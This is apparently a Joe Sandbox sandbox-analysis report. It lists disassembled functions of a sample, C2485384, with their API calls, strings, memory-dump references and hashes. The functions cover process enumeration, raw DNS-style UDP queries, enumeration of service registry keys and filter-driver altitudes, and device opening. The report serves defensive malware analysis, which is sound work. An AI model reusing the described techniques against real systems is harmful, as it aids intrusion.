Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: FileTime$Find$CloseDateFirstLocal
String ID:
API String ID: 2659516521-0
Opcode ID: 77f7bff484900b814cc936b64d7b40d22d6c53ce79e228437b2252b9b694752c
Instruction ID: 65ac84d9fc28c4a138f2a1db77ee9da19fc29bd6b48b94ebfee49c2ead09c8e4
Opcode Fuzzy Hash: 77f7bff484900b814cc936b64d7b40d22d6c53ce79e228437b2252b9b694752c
Instruction Fuzzy Hash: 2BF0AF72D4060C6BCB20FAA58C859CEB3AC9B05214F5047E6A539D2191EE749B449B50

Function 62534680 Relevance: 4.6, APIs: 3, Instructions: 63processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 625346A5
Process32First.KERNEL32(00000000,?), ref: 625346D0
Process32Next.KERNEL32(00000000,?), ref: 62534709

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Process32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1238713047-0
Opcode ID: cb53626c9ff1dac2a0baf4fddd6f8e743adaf2b83790bf1c214e650aea50e5b7
Instruction ID: ec2ac6f543cfa6fcaaa3e045f9ca6711aac8f9be9cf2c39b24bbf707b60c3966
Opcode Fuzzy Hash: cb53626c9ff1dac2a0baf4fddd6f8e743adaf2b83790bf1c214e650aea50e5b7
Instruction Fuzzy Hash: 571104311083155BD731CF34C861BBBBBE8EFC6308F404929E95487180FB36A509C752

Function 625127D0 Relevance: 47.6, APIs: 8, Strings: 19, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 625126F0: _strncpy.LIBCMT ref: 6251274F
Part of subcall function 625126F0: _memset.LIBCMT ref: 62512765
Part of subcall function 625126F0: _sprintf.LIBCMT ref: 6251277F

_memset.LIBCMT ref: 62512BCA
_sprintf.LIBCMT ref: 62512BDA
__wfopen_s.LIBCMT ref: 62512BF1
OutputDebugStringA.KERNEL32(?), ref: 62512C0B
OutputDebugStringA.KERNEL32(6256E1DC), ref: 62512C12
_malloc.LIBCMT ref: 62512C2D
_memset.LIBCMT ref: 62512C3F
_sprintf.LIBCMT ref: 62512C6E

Strings

Vb, xrefs: 62512AD2
0Vb, xrefs: 62512982
,Vb, xrefs: 62512B65
lVb, xrefs: 625129F0
Vb, xrefs: 6251285E
total dlq type count : %d, xrefs: 62512BD4
Vb, xrefs: 62512B4F
Vb, xrefs: 62512911
<Vb, xrefs: 62512998
current i : %d, xrefs: 62512C68
`Vb, xrefs: 625129DA
$Vb, xrefs: 6251296C
8Vb, xrefs: 62512B7B
TVb, xrefs: 625129C4
C:\pl.txt, xrefs: 62512BEB
xVb, xrefs: 62512A09
HVb, xrefs: 625129AE
DVb, xrefs: 62512B91
PVb, xrefs: 62512BA7

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset_sprintf$DebugOutputString$__wfopen_s_malloc_strncpy
String ID: Vb$$Vb$,Vb$0Vb$8Vb$<Vb$C:\pl.txt$DVb$HVb$PVb$TVb$`Vb$current i : %d$lVb$total dlq type count : %d$xVb$Vb$Vb$Vb
API String ID: 376268990-102413559
Opcode ID: 2eaaf7cc2bbb58786491e2b68bb83ee44820c70ca1d071332e3c04f5e1b05962
Instruction ID: aca1c4680cb9afdcb32efa8745796386ac31b4f46711edbd3ebebc293a651550
Opcode Fuzzy Hash: 2eaaf7cc2bbb58786491e2b68bb83ee44820c70ca1d071332e3c04f5e1b05962
Instruction Fuzzy Hash: 14B17F707893112BFB355E50CC7AFAA31854F97B48F005428AB41AF7D6DEE96E00539B

Function 62521920 Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 285
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 62521962
_memset.LIBCMT ref: 62521981

Part of subcall function 6251C140: WSAStartup.WS2_32(00000202,B207A1AB), ref: 6251C15D

socket.WS2_32(00000002,00000002,00000000), ref: 6252199B
htons.WS2_32(00000035), ref: 625219D2
inet_addr.WS2_32(?), ref: 625219DA
_memset.LIBCMT ref: 625219F2
htons.WS2_32(00000100), ref: 62521A0C
htons.WS2_32(00000001), ref: 62521A18
_strncpy.LIBCMT ref: 62521A44
htons.WS2_32(00000001), ref: 62521AC2
htons.WS2_32(00000001), ref: 62521ACA
sendto.WS2_32(?,?,?,00000000,?,00000010), ref: 62521B03
closesocket.WS2_32(?), ref: 62521B0E
recvfrom.WS2_32(?,?,00000400,00000000,?,00000010), ref: 62521B35
htons.WS2_32(?), ref: 62521B58
htons.WS2_32(?), ref: 62521B94
htons.WS2_32 ref: 62521BDB
htons.WS2_32(?), ref: 62521BE9
_strncpy.LIBCMT ref: 62521C84
closesocket.WS2_32(?), ref: 62521C8D

Strings

%d.%d.%d.%d, xrefs: 62521C34

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: htons$_memset$_strncpyclosesocket$Startupinet_addrrecvfromsendtosocket
String ID: %d.%d.%d.%d
API String ID: 3966461804-3491811756
Opcode ID: 1ca2c7e4aa57616c19fefbece03a6462501c32906223244886aad51fd1a9ce1e
Instruction ID: 5a341a0a3ab7e8c95ad6274ffdd52f070ca975ffb5685039b59d16a1c75bfdc9
Opcode Fuzzy Hash: 1ca2c7e4aa57616c19fefbece03a6462501c32906223244886aad51fd1a9ce1e
Instruction Fuzzy Hash: C3A1B471509341AFD720CF28C8A4BABBBF5AF85308F40491DE589C72D2EB76D549CB92

Function 62516CD0 Relevance: 36.9, APIs: 15, Strings: 6, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.ADVAPI32(80000002,SYSTEM\CurrentControlSet\services,00000000,00020019,?), ref: 62516D07
_memset.LIBCMT ref: 62516D42
_memset.LIBCMT ref: 62516D5C
RegEnumKeyExA.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 62516D78
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 62516D9C
RegQueryValueExA.KERNEL32(?,Group,00000000,?,?,?), ref: 62516DC7
_memset.LIBCMT ref: 62516E1C
_memset.LIBCMT ref: 62516E3A
_sprintf.LIBCMT ref: 62516E54

Strings

System Reserved, xrefs: 62516DF2
SYSTEM\CurrentControlSet\services, xrefs: 62516CF9
SYSTEM\CurrentControlSet\services\%s\Instances\%s Instance, xrefs: 62516E4E
Group, xrefs: 62516DBD
Altitude, xrefs: 62516E91
369369, xrefs: 62516EC2

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$Open$EnumQueryValue_sprintf
String ID: 369369$Altitude$Group$SYSTEM\CurrentControlSet\services$SYSTEM\CurrentControlSet\services\%s\Instances\%s Instance$System Reserved
API String ID: 103941440-232118669
Opcode ID: f43afa017cfa5b67d444894a365d5f8900494c92967d28c13550103c6a9a1538
Instruction ID: f8e28e255bb14fdd770a6a19dcf959749e6c31b22d436e2d4df0713477ac7c16
Opcode Fuzzy Hash: f43afa017cfa5b67d444894a365d5f8900494c92967d28c13550103c6a9a1538
Instruction Fuzzy Hash: CC5140B1508356AFE324DF64CC94EBBB7ECEBC9748F40491DB58992111E734EA09CB62

Function 625120D0 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 122
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 625120F8
_sprintf.LIBCMT ref: 6251211F
__wfopen_s.LIBCMT ref: 62512133
OutputDebugStringA.KERNEL32(?), ref: 6251214D
OutputDebugStringA.KERNEL32(6256E1DC), ref: 62512154
MessageBoxA.USER32(00000000,6256E1F8,6256E1E0,00001000), ref: 6251218D
MessageBoxA.USER32(00000000,6256E1F8,6256E1E0,00001000), ref: 625121A0
MessageBoxA.USER32(00000000,6256E1F8,6256E1E0,00001000), ref: 625121B3
__wfopen_s.LIBCMT ref: 625121C4
OutputDebugStringA.KERNEL32(6256E1AC), ref: 625121DC
OutputDebugStringA.KERNEL32(6256E1DC), ref: 625121E3
__wfopen_s.LIBCMT ref: 62512205
OutputDebugStringA.KERNEL32(6256E18C), ref: 62512219
OutputDebugStringA.KERNEL32(6256E1DC), ref: 62512220
__wfopen_s.LIBCMT ref: 6251223E
OutputDebugStringA.KERNEL32(6256E1BC), ref: 62512252
OutputDebugStringA.KERNEL32(6256E1DC), ref: 62512259

Strings

C:\pl.txt, xrefs: 6251212D, 625121BE, 625121FF, 62512238
SetExeVerInfo : guaType: %d, bFree: %d, exeVerNum: %d, xrefs: 62512119

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: DebugOutputString$__wfopen_s$Message$_memset_sprintf
String ID: C:\pl.txt$SetExeVerInfo : guaType: %d, bFree: %d, exeVerNum: %d
API String ID: 1459224498-3464333151
Opcode ID: d91ff76b939c7a7b2dc65072781b1acffe0b066157e9f9098886e89782d2974a
Instruction ID: cfc534881847688a9beb0e6cfd592311d4b79258d3ba41eb70663c4ab2b36a80
Opcode Fuzzy Hash: d91ff76b939c7a7b2dc65072781b1acffe0b066157e9f9098886e89782d2974a
Instruction Fuzzy Hash: 064103724483507BF234DA64CC61FBFB7A4ABC9B48F008C19FD5866141DA74E904DB93

Function 62540829 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 158
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 62540833
GetModuleHandleA.KERNEL32(kernel32.dll,0000015C,62540AFA,?,?), ref: 62540863
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 62540877
ConvertDefaultLocale.KERNEL32(?), ref: 625408B3
ConvertDefaultLocale.KERNEL32(?), ref: 625408C1
GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 625408DE
ConvertDefaultLocale.KERNEL32(?), ref: 62540909
ConvertDefaultLocale.KERNEL32(000003FF), ref: 62540912
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 6254092B
EnumResourceLanguagesA.KERNEL32(00000000,00000010,00000001,Function_00030093,?), ref: 62540948
ConvertDefaultLocale.KERNEL32(?), ref: 6254097B
ConvertDefaultLocale.KERNEL32(00000000), ref: 62540984
GetModuleFileNameA.KERNEL32(62510000,?,00000105), ref: 625409C7
_memset.LIBCMT ref: 625409E7

Strings

GetSystemDefaultUILanguage, xrefs: 625408C3
ntdll.dll, xrefs: 62540926
kernel32.dll, xrefs: 6254084C
GetUserDefaultUILanguage, xrefs: 6254086B

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressHandleProc$EnumFileH_prolog3_LanguagesNameResource_memset
String ID: GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll$ntdll.dll
API String ID: 3537336938-2299501126
Opcode ID: d1e8ccaff6caae9bf75566253597d0ce19ebeb6dcf2c5c091fae2477b487f7f0
Instruction ID: 61c0c49e12befc2e839db41499bb2708106e45ad856abe6561b30c1d17bf40c3
Opcode Fuzzy Hash: d1e8ccaff6caae9bf75566253597d0ce19ebeb6dcf2c5c091fae2477b487f7f0
Instruction Fuzzy Hash: 7C512A71D402289BDB74DF69CC547EEBAB4AB59304F1045EBA548E3290DB749F81CF90

Function 62518E50 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 164
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 62518E86
_memset.LIBCMT ref: 62518EA3
_memset.LIBCMT ref: 62518EC0
WSAStartup.WS2_32(00000202,?), ref: 62518ED2
gethostname.WS2_32(?,00000104), ref: 62518EE9
__strlwr.LIBCMT ref: 62518EFC
__strlwr.LIBCMT ref: 62518F19
WSACleanup.WS2_32 ref: 62518F32
_memset.LIBCMT ref: 62518F79
_memset.LIBCMT ref: 62518F96
_memset.LIBCMT ref: 62519007
_sprintf.LIBCMT ref: 62519024
CreateFileA.KERNEL32(?,00000000,00000003,00000000,00000003,00000080,00000000), ref: 62519050
CloseHandle.KERNEL32(00000000), ref: 6251905C

Strings

\\.\%s, xrefs: 6251901E

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$__strlwr$CleanupCloseCreateFileHandleStartup_sprintfgethostname
String ID: \\.\%s
API String ID: 2340954306-869905501
Opcode ID: 4f76a51e56fc5abf7d883a515e7d2f03e6bafda78538e7ae247d79b8684a232e
Instruction ID: ab6023137d1557853f55af0820da1a507134254a19986702ed893e9ac8d671c4
Opcode Fuzzy Hash: 4f76a51e56fc5abf7d883a515e7d2f03e6bafda78538e7ae247d79b8684a232e
Instruction Fuzzy Hash: 6D51D5B25093406FE230DB24DCA9EEB77DD9BC5308F04491EE99986180EB745A18C793

Function 62521240 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 288
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 62521251

Part of subcall function 6254ED6C: __FF_MSGBANNER.LIBCMT ref: 6254ED8F
Part of subcall function 6254ED6C: __NMSG_WRITE.LIBCMT ref: 6254ED96
Part of subcall function 6254ED6C: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,62558DFF,?,00000001,?,?,62557CE7,00000018,62578F08,0000000C,62557D78), ref: 6254EDE3

_memset.LIBCMT ref: 62521271
__time64.LIBCMT ref: 6252127B
_rand.LIBCMT ref: 6252128C
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 625212AB
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 625212BB
Sleep.KERNEL32(00000032,?,?,?,?,?,?,?,?,?), ref: 62521314
WaitForMultipleObjects.KERNEL32(00000002,?,00000001,00002710,?,?,?,?,?,?,?,?,?), ref: 62521348

Strings

v, xrefs: 62521476

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: CreateEvent$AllocHeapMultipleObjectsSleepWait__time64_malloc_memset_rand
String ID: v
API String ID: 3581597625-1801730948
Opcode ID: 5d8d5bce6ae384728d00d295a00f193998ce68a0240ea111ace8ac21716089c3
Instruction ID: 2c8d166584b2e37336175dcadea993ace9d68210331fd32132fbad128931b4fb
Opcode Fuzzy Hash: 5d8d5bce6ae384728d00d295a00f193998ce68a0240ea111ace8ac21716089c3
Instruction Fuzzy Hash: A6C1EFB46093019FD318CF29C990A1BBBE5BBC9714F10896DF889873A1D771E945CB92

Function 62545988 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104,?,?,00000000), ref: 625459C5
PathFindExtensionA.SHLWAPI(?), ref: 625459DF
__strdup.LIBCMT ref: 62545A27
__strdup.LIBCMT ref: 62545A66
__strdup.LIBCMT ref: 62545AAD
_strcat_s.LIBCMT ref: 62545ADA
__strdup.LIBCMT ref: 62545AEC

Strings

.INI, xrefs: 62545ACD
.HLP, xrefs: 62545A92
.CHM, xrefs: 62545A8B

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
